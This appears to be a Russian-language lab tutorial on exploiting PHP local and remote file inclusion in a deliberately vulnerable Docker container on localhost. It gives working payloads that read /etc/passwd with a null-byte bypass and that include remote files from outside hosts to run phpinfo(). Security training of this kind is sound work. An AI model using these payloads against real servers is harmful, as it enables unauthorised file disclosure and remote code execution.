Введение
В этом лабораторном занятии (lab) вы научитесь эксплуатировать уязвимости, связанные с включением файлов, как локально, так и удаленно. Уязвимости, связанные с включением файлов, возникают, когда пользовательский ввод не корректно очищается и используется для включения файлов на сервере. Это может привести к раскрытию конфиденциальных данных, выполнению удаленного кода и другим серьезным последствиям. Познакомившись с техниками и полезными нагрузками (payloads), используемыми в этом лабораторном занятии, вы получите практический опыт в выявлении и эксплоитации таких уязвимостей.
Настройка окружения
В этой фазе мы создадим лабораторную среду (lab environment), чтобы отточить свои навыки эксплоитации уязвимостей, связанных с включением файлов.
Сначала выполните следующую команду, чтобы запустить уязвимое веб - приложение:
docker run -d -p 81:80 --name pentesterlab-phpfileinclude jewel591/vulnbox:pentesterlab-phpfileinclude /bin/sh -c "sed -i 's/allow_url_include = Off/allow_url_include = On/g' /etc/php/7.3/apache2/php.ini && service apache2 start && service mysql start && tail -f /var/log/apache2/error.log" --registry-mirror=http://hub-mirror.c.163.com
Эта команда запускает Docker - контейнер с уязвимым веб - приложением, работающим на порту 81.
Затем запустите веб - браузер и перейдите по адресу http://127.0.0.1:81. Вы должны увидеть главную страницу веб - приложения.
Определение уязвимости включения файлов
В этой фазе мы будем искать возможные уязвимости, связанные с включением файлов, путем анализа параметров URL.
На главной странице веб - приложения нажмите кнопки "Submit" и "Login". Обратите внимание на URL в адресной строке браузера. Вы должны заметить, что URL изменяется в соответствии с параметром page, например, http://127.0.0.1:81/index.php?page=submit и http://127.0.0.1:81/index.php?page=login.
Эта схема указывает на то, что веб - приложение может обрабатывать пользовательский ввод небезопасно, что потенциально может привести к уязвимости, связанной с включением файлов.
Подтверждение уязвимости
В этой фазе мы рассмотрим, как обнаружить уязвимость, связанную с включением файлов. Существует два распространенных метода:
Метод массивного параметра: Измените параметр
pageна массив. Например,http://localhost:81/index.php?page[]=test. Если вы увидите предупреждение или сообщение об ошибке, в котором упоминается "include" или "failed to open stream", это означает возможную уязвимость, так как приложение пытается включить файлы на основе пользовательского ввода.Тест на локальное включение файла: Попытайтесь включить локальный файл, находящийся на сервере, например,
/etc/passwdв Linux илиC:\Windows\System32\drivers\etc\hostsв Windows. Если будет отображено содержимое файла, это подтверждает уязвимость, связанную с локальным включением файлов.
В этом уроке мы используем второй метод, включая файл /etc/passwd:
http://localhost:81/index.php?page=/etc/passwd
Вероятно, вы увидите сообщение об ошибке, которое указывает, что приложение пытается включить /etc/passwd.php вместо /etc/passwd. Это происходит потому, что приложение автоматически добавляет .php к включаемому файлу.
Чтобы обойти это, мы можем использовать технику нулевого байта (%00). Нулевой байт завершает строку, заставляя приложение игнорировать все, что следует за ним.
Попробуйте следующую полезную нагрузку (payload):
http://localhost:81/index.php?page=/etc/passwd%00
Если вы можете увидеть содержимое файла /etc/passwd, это подтверждает наличие уязвимости, связанной с локальным включением файлов.
Использование удаленного включения файлов
В этой фазе мы рассмотрим концепцию удаленного включения файлов и связанные с ней потенциальные уязвимости.
Удаленное включение файлов представляет собой серьезную проблему, которая потенциально может позволить атакующему включать файлы с внешних серверов. Это может привести к серьезным нарушениям безопасности, таким как выполнение удаленного кода или раскрытие конфиденциальных данных.
Начнем с примера, в котором мы попытаемся включить удаленный файл, размещенный на внешнем сервере:
http://localhost:81/index.php?page=https://www.example.com/index.html%00
После выполнения этого запроса вы должны увидеть содержимое удаленного файла в ответе веб - приложения.
В реальной жизни атакующий обычно размещает свою вредоносную полезную нагрузку (payload) на сервере, под его контролем, и затем пытается включить ее, используя уязвимость удаленного включения файлов.
В рамках этой демонстрации мы будем использовать заранее размещенную полезную нагрузку с сайта PentesterLab:
http://localhost:81/index.php?page=https://assets.pentesterlab.com/test_include.txt%00
Эта полезная нагрузка запускает функцию phpinfo(), которая раскрывает информацию о конфигурации PHP сервера.
Помните, что это всего лишь демонстрация потенциальной уязвимости. При создании собственных приложений крайне важно применять соответствующие меры безопасности, чтобы предотвратить такие атаки. В следующем разделе мы поговорим о некоторых из этих мер безопасности.
Резюме
В этой лабораторной работе (lab) вы научились определять и эксплоитировать уязвимости, связанные с включением файлов, как локально, так и удаленно. Вы настроили уязвимое веб - приложение, проанализировали параметры URL для определения потенциальных уязвимостей, подтвердили наличие уязвимостей, связанных с включением файлов, с использованием различных методов, и, наконец, эксплоитировали как локальные, так и удаленные уязвимости, связанные с включением файлов. Понимание этих уязвимостей и методов их эксплоитации является важным аспектом тестирования безопасности веб - приложений и обеспечения защиты конфиденциальных данных и систем.